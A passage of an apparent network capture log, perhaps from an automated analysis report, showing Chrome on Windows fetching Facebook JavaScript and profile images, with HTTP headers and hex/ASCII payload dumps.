2024-04-11 20:35:32 UTC	1500	IN	Data Raw: c7 45 a8 6b 8c bc a0 ad f8 d3 28 34 9c bd fa 54 a3 a7 0c a5 8e 03 2b 1e 9b c6 c9 a5 ce 4f a3 f9 0e c9 80 6b 83 a8 89 c8 47 0b dc cd ee 34 12 5f cc 64 4a 5d 67 4f 33 31 6d c1 e8 25 63 34 3a ad 92 d9 ba d5 40 ce ad 75 7c 45 55 b9 f4 59 5d ed ed 11 d8 fd 20 f0 75 dc b0 78 e3 d1 e1 bb 86 2e b5 73 dc 05 9c 56 fc c4 65 86 5c e1 6d 8d 56 67 fd 07 f9 8e a5 f3 f4 b2 d9 2a 02 ce a4 7f c9 cd e9 97 58 c9 0e a8 6b d1 86 9b 87 33 83 75 cc 34 26 cc db 67 ee 2a a6 93 e5 08 53 d9 18 05 79 9a 9a 02 80 6d 5f a8 c7 4a 3a 70 c6 82 ab 95 68 a9 e1 a3 71 ed 4f 09 33 8c 05 14 7d a7 ba 39 7d 13 d8 f1 29 53 37 a3 a8 95 91 b9 96 9e e6 6d 99 36 a6 38 26 c6 b8 8d aa 7f d1 e6 20 25 e0 0b ec 70 89 50 a7 50 36 27 a2 55 98 80 e3 ad 90 22 cc cd 29 68 08 ee b2 0f 81 75 4b ab 3e e2 aa d6 20 Data Ascii: Ek(4T+OkG4_dJ]gO31m%c4:@u\|EUY] ux.sVe\mVgXk3u4&gSym_J:phqO3}9})S7m68& %pPP6'U")huK>
2024-04-11 20:35:33 UTC	3606	IN	Data Raw: 07 01 ac 5e e6 60 aa ed e2 6c 68 c5 60 f0 1e 54 7f c6 e3 70 22 a1 e2 0b 73 40 1f 11 ac a7 c7 fe b2 ea 94 66 5a e0 3b b1 87 ba 40 36 52 1a ea d8 a3 8d 72 46 59 42 b8 bf f8 4f b8 ac 9b 75 e6 80 bf 81 b8 65 c2 89 84 00 7f 6c ca 9a 50 66 db 8a 03 d6 2b 51 f3 54 44 b5 6f 44 58 6c b1 d0 b8 bf b7 d4 58 00 63 4d ee fd c1 61 a2 0c 84 79 1a 0f 99 4a 0d 2c 89 a8 b5 72 ab cc 2d 44 b8 18 de 61 6d 81 cd 7c 12 d6 b6 4a 79 56 d1 7a 39 1b 42 21 74 61 5b c1 2d 71 cc 0b c5 a7 71 09 a8 f0 4c 34 52 2a e8 e5 80 28 d5 73 dc 45 66 c6 70 39 ec 94 a8 4a 18 a8 26 8d bd ca 27 0a a2 00 10 6c 95 25 40 e6 54 50 a7 b8 17 88 16 5f f4 88 f3 ae 18 5c a3 7d 3c c0 04 13 92 04 d4 61 ee 1b 8a 20 16 3a 18 e1 b8 2a b3 12 f6 e5 df 71 07 56 76 44 10 3a c4 06 4c b9 d4 00 59 ab d4 b4 2b 57 16 74 73 Data Ascii: ^`lh`Tp"s@fZ;@6RrFYBOuelPf+QTDoDXlXcMayJ,r-Dam\|JyVz9B!ta[-qqL4R(sEfp9J&'l%@TP_\}<a :qVvD:LY+Wts

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49926	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	786	OUT	GET /rsrc.php/v3id5d4/yS/l/en_US/8THafi6q9GdpQ-QvLDPbL7c22qUA9VY4-m6uLQCuTojhRw83TsroxGFQKvKXSIdAqsCN6hpHVMyJl4UpY82FpGVURJ3hHM37aNVVtwoC8TAEQ4MfFrM7_FIJA8WHHGPNLzXcDiv5SPZN5urt1HvL9YbQDWJTi7d4N5wiQsGMxCFFoEtz8Gx6F23J_Tj.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	1703	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 4F1jfPJ1jNNxWj6AABHYiw== Expires: Fri, 11 Apr 2025 20:35:33 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: 6Rrc67WmRa/PZW3sB1nl9vtZRJkG5C126sdXHEwW44kp63yi0JYzhKyKci2W55HRLWuqEaZkMvhVxtfqiFCQwQ== Date: Thu, 11 Apr 2024 20:35:33 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=87, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=58, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 900838
2024-04-11 20:35:33 UTC	398	IN	Data Raw: 3b 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 54 68 72 6f 77 62 61 63 6b 5f 61 74 74 61 63 68 6d 65 6e 74 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 7b 6b 69 6e 64 3a 22 52 6f 6f 74 41 72 67 75 6d 65 6e 74 22 2c 6e 61 6d 65 3a 22 72 65 6e 64 65 72 4c 6f 63 61 74 69 6f 6e 22 7d 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 Data Ascii: ;/FB_PKG_DELIM/__d("CometFeedStoryAttachmentRendererInnerThrowback_attachment.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[{kind:"RootArgument",name:"renderLocation"}],kind:"Fragment",metadata:null,name:"CometFeedStoryAttach
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 6f 63 61 74 69 6f 6e 22 7d 2c 7b 6b 69 6e 64 3a 22 4c 69 74 65 72 61 6c 22 2c 6e 61 6d 65 3a 22 73 75 70 70 6f 72 74 65 64 22 2c 76 61 6c 75 65 3a 22 33 65 4b 7a 44 6b 22 7d 5d 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 73 74 79 6c 65 5f 74 79 70 65 5f 72 65 6e 64 65 72 65 72 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 54 68 72 6f 77 62 61 63 6b 5f 61 74 Data Ascii: ocation"},{kind:"Literal",name:"supported",value:"3eKzDk"}],concreteType:null,kind:"LinkedField",name:"style_type_renderer",plural:!1,selections:[{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedStoryAttachmentRendererInnerThrowback_at
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 45 6d 70 74 79 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 5f 61 74 74 61 63 68 6d 65 6e 74 22 2c 66 72 61 67 6d 65 6e Data Ascii: _styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"StoryAttachmentEmptyStyleRenderer",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedStoryAttachmentRendererInner_attachment",fragmen
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 63 68 6d 65 6e 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 50 61 67 65 52 65 63 6f 6d 6d 65 6e 64 61 74 69 6f 6e 41 6c 62 75 6d 41 74 74 61 63 68 6d 65 6e 74 53 74 79 6c 65 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 50 61 67 65 52 65 63 6f 6d 6d 65 6e 64 61 74 69 6f 6e 41 6c 62 75 6d 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 Data Ascii: chment",fragmentName:"CometFeedStoryPageRecommendationAlbumAttachmentStyle_styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"StoryAttachmentPageRecommendationAlbumStyleRenderer",abstractKey:null},{kind:"InlineFragment",se
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 5f 61 74 74 61 63 68 6d 65 6e 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 47 6f 6f 64 77 69 6c 6c 50 72 6f 64 75 63 74 53 79 73 74 65 6d 43 61 6d 70 61 69 67 6e 41 74 74 61 63 68 6d 65 6e 74 53 74 79 6c 65 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 53 74 6f 72 Data Ascii: gment",selections:[{args:null,documentName:"CometFeedStoryAttachmentRendererInner_attachment",fragmentName:"CometFeedStoryGoodwillProductSystemCampaignAttachmentStyle_styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"Stor
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 65 6e 74 41 6c 62 75 6d 46 72 61 6d 65 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 5f 61 74 74 61 63 68 6d 65 6e 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 6c 62 75 6d 53 61 6c 65 49 74 65 6d 41 74 74 61 63 68 6d 65 6e 74 53 74 79 6c 65 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 Data Ascii: entAlbumFrameStyleRenderer",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedStoryAttachmentRendererInner_attachment",fragmentName:"CometFeedStoryAlbumSaleItemAttachmentStyle_styleTypeRenderer",fragmentPropName:"style
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 79 6c 65 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 43 72 69 73 69 73 4d 61 72 6b 53 61 66 65 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 5f 61 74 74 61 63 68 6d Data Ascii: yle_styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"StoryAttachmentCrisisMarkSafeStyleRenderer",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedStoryAttachmentRendererInner_attachm
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 5f 61 74 74 61 63 68 6d 65 6e 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 46 75 6e 64 72 61 69 73 65 72 46 42 53 65 65 64 69 6e 67 47 69 66 74 41 74 74 61 63 68 6d 65 6e 74 53 74 79 6c 65 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 46 75 6e 64 72 61 69 73 65 72 46 42 53 65 65 64 69 6e 67 47 69 66 74 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 Data Ascii: RendererInner_attachment",fragmentName:"CometFeedStoryFundraiserFBSeedingGiftAttachmentStyle_styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"StoryAttachmentFundraiserFBSeedingGiftStyleRenderer",abstractKey:null},{kind:"
2024-04-11 20:35:33 UTC	543	IN	Data Raw: 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 5f 61 74 74 61 63 68 6d 65 6e 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 45 76 65 6e 74 41 74 74 61 63 68 6d 65 6e 74 53 74 79 6c 65 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 45 76 65 6e 74 53 74 79 6c 65 52 65 6e 64 65 72 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e Data Ascii: args:null,documentName:"CometFeedStoryAttachmentRendererInner_attachment",fragmentName:"CometFeedStoryEventAttachmentStyle_styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"StoryAttachmentEventStyleRenderer",abstractKey:n
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 41 74 74 61 63 68 6d 65 6e 74 52 65 6e 64 65 72 65 72 49 6e 6e 65 72 5f 61 74 74 61 63 68 6d 65 6e 74 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 46 65 65 64 53 74 6f 72 79 47 72 6f 75 70 41 74 74 61 63 68 6d 65 6e 74 53 74 79 6c 65 5f 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 79 6c 65 54 79 70 65 52 65 6e 64 65 72 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 53 Data Ascii: tKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedStoryAttachmentRendererInner_attachment",fragmentName:"CometFeedStoryGroupAttachmentStyle_styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49942	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	841	OUT	GET /v/t1.6435-9/203598184_284712353053725_8726646647123246716_n.jpg?stp=c64.0.160.160a_dst-jpg_p160x160&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=PHlGU2St1TUAb6VJarJ&_nc_ht=scontent-lga3-2.xx&oh=00_AfChtWu6Ep5nAiBIvjYV9z3nmOFlTwAMzrg6NB3bjxAWlw&oe=663FA40B HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Tue, 22 Jun 2021 14:15:25 GMT X-Needle-Checksum: 4004775040 thrift_fmhk: GBDNkIoYHae2nT/z9CguystHFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=2131342531 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: ZgN6aG5CjEDsDZgo3Lx4iTDEJAG-JR4YsnWTXUvjJpPyt9f5sAWU8dQaTikB1tlGGXPWd2Mr_aZbX_KwhqiQtUorM0ard7HSlhIF5owwFbg X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=89, ullat=1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2490
2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 63 30 31 30 30 30 30 32 38 30 32 30 30 30 30 66 35 30 32 30 30 30 30 33 37 30 33 30 30 30 30 38 37 30 33 30 30 30 30 32 33 30 35 30 30 30 30 39 39 30 36 30 30 30 30 31 33 30 37 30 30 30 30 36 32 30 37 30 30 30 30 62 38 30 37 30 30 30 30 62 61 30 39 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6c01000028020000f5020000370300008703000023050000990600001307000062070000b8070000ba090000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 73 96 45 77 46 21 46 b3 ff 00 76 ff c4 00 1d 11 00 03 01 00 01 05 00 00 00 00 00 00 00 00 00 00 00 01 11 12 51 10 20 30 41 60 ff da 00 08 01 03 01 01 3f 01 f1 b7 0d 23 48 d2 2a 2a 34 84 ef 56 a9 0c ae 0c ae 0c a2 5f 46 44 a7 6d 2f c1 7f ff c4 00 1b 11 00 03 01 00 03 01 00 00 00 00 00 00 00 00 00 00 00 01 11 12 10 30 31 60 ff da 00 08 01 02 01 01 3f 01 eb 94 86 59 19 08 46 79 ca 70 a6 99 a6 69 9a 66 99 ef c4 7f ff c4 00 30 10 00 02 00 05 02 04 03 06 07 00 00 00 00 00 00 00 01 02 00 03 11 12 21 13 22 04 31 41 51 23 61 a1 14 30 32 33 81 d1 10 20 42 50 53 70 f1 ff da 00 08 01 01 00 06 3f 02 fd fd d4 ca 98 29 7e 71 9b 79 c3 4f f6 59 b6 81 5e 6b cb bf 38 90 44 b6 73 37 90 14 ed 58 3a b2 dd 68 50 37 95 df e4 71 0c 43 1d 22 06 3f 55 7b 47 0f 2f f9 d6 e4 3d 21 34 Data Ascii: sEwF!FvQ 0A`?#H**4V_FDm/01`?YFypif0!"1AQ#a023 BPSp?)~qyOY^k8Ds7X:hP7qC"?U{G/=!4
2024-04-11 20:35:33 UTC	275	IN	Data Raw: c7 06 5c 87 ce b6 2d 52 b8 1d c1 9f 2f 05 13 97 25 91 4a 83 bc 51 75 10 87 6a f4 2a 04 1d c5 d6 33 b3 5d c5 b4 40 67 7c 3f 00 40 62 a0 b2 7c 3c 7c e4 a4 a4 bc e9 27 d9 1f 4d e0 82 25 d6 d0 aa 8b da ad 3c ac 30 34 ac 1d 90 bb 8a 22 df be f3 c3 56 f4 74 e5 3a 1a 0f 93 d6 41 05 09 9a 1d eb 66 e6 6a 8d 89 1c 9b 5d c4 af 85 5e e6 b5 dd 15 99 10 7b f5 9c e9 08 22 24 5e 02 a7 5b 6b 35 c0 2a 24 a0 19 ee 96 ff 00 19 3e 72 ca 0b a6 de cb d7 ac 72 22 0a ed 79 7f 7f c6 33 0c 15 a2 87 fa c7 29 66 1a 09 54 f0 6c fd f1 44 8a 28 92 26 1f d5 28 4c ff 00 89 89 96 dc 69 5f d3 f3 d1 9c 37 a8 08 28 6b 54 ed d3 53 2c 56 10 61 06 c5 ed cf 3f 1a c8 38 a6 82 a3 7c 41 5b df d1 8b ae 65 aa 0b 02 d6 a7 53 5d c5 14 96 93 6f 7f 76 20 6f 5f ce 50 9d a0 d3 56 a5 aa 68 f1 5c 69 a8 54 e1 Data Ascii: \-R/%JQuj3]@g\|?@b\|<\|'M%<04"Vt:Afj]^{"$^[k5$>rr"y3)fTlD(&(Li_7(kTS,Va?8\|A[eS]ov o_PVh\iT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49937	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	843	OUT	GET /v/t39.30808-6/434870218_983385669853053_7084942549234442441_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=RTXaj_w3vwoAb6kPsRj&_nc_ht=scontent-lga3-2.xx&oh=00_AfCQ7eirRa68wVAi87YynW35JG6CvA-jaOYBsttAH2mJyg&oe=661E2C6B HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
